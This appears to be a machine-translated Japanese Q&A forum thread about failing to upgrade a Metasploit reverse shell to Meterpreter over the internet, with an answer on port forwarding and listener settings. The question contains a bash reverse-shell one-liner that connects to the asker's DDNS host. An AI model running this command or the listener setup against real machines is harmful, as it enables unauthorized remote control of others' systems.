私はこの1週間Metasploitをいじってみましたが、インターネット経由で被害者の基本的なシェルを取得することに成功しました。私は現在:
Corelanのブログ投稿 からのこの画像は、私の状況を非常によく要約しています。
しかし、このコマンドsessions -u 1
または手動でpost/multi/manage/Shell_to_meterpreter
モジュールを使用して、シェルをmeterpreter
にアップグレードしようとすると、シェルはアップグレードに失敗します。
明らかな理由でDDNS /パブリックIPにバインドできず、デフォルトでローカルネットワークIPまたはループバックアドレスにバインドします。 これは、攻撃者とターゲットマシンの両方が同じネットワーク上にある場合は問題なく機能しますが、常にインターネット経由で失敗します。
どうやって動かすのかわからない。
いくつかの詳細:
v4.11.4-dev-8a5e45b1
の使用osx/x64/Shell_reverse_tcp
ペイロードの使用ターゲットマシンでこのコマンドを実行して、攻撃者に再接続します。
bash -c "bash -i >& /dev/tcp/my.ddns.Host/6680 0>&1 2>&1"
あなたの質問へのコメントは、誤解を招くか、ほとんど無関係であるようです。私があなただったら無視します!
セッションをアップグレードするには、新しい通信セッションを確立する必要があります。既存のソケットを引き継ぐだけではありません。
これは、間違ったホストまたはポートにバインドする古典的なシナリオのように見えます。説明したシナリオでアップグレードを機能させるには、ファイアウォールがポート4433
を攻撃マシンに転送する必要があります。そうでない場合は、逆接続を取得できません。
転送されたポートがバインドしているポートと同じではないようにファイアウォールを構成している場合は、別の手順を実行する必要があります。たとえば、ファイアウォールがポート443
をポート4433
に転送するように構成されている場合は、次のことを行う必要があります。
set LPORT 443
-これはMeterpreterにポート443
でコールバックするように指示します。set ReverseListenerBindPort 4433
-これはMetasploitに4433
ではなくポート443
にバインドするように指示します。最初のシェルの永続的なリスナーがない限り、同じポートを再利用することもできます。
標準以外のポートを使用している場合、リモートファイアウォールが送信トラフィックもブロックしている可能性があります。
お役に立てば幸いです。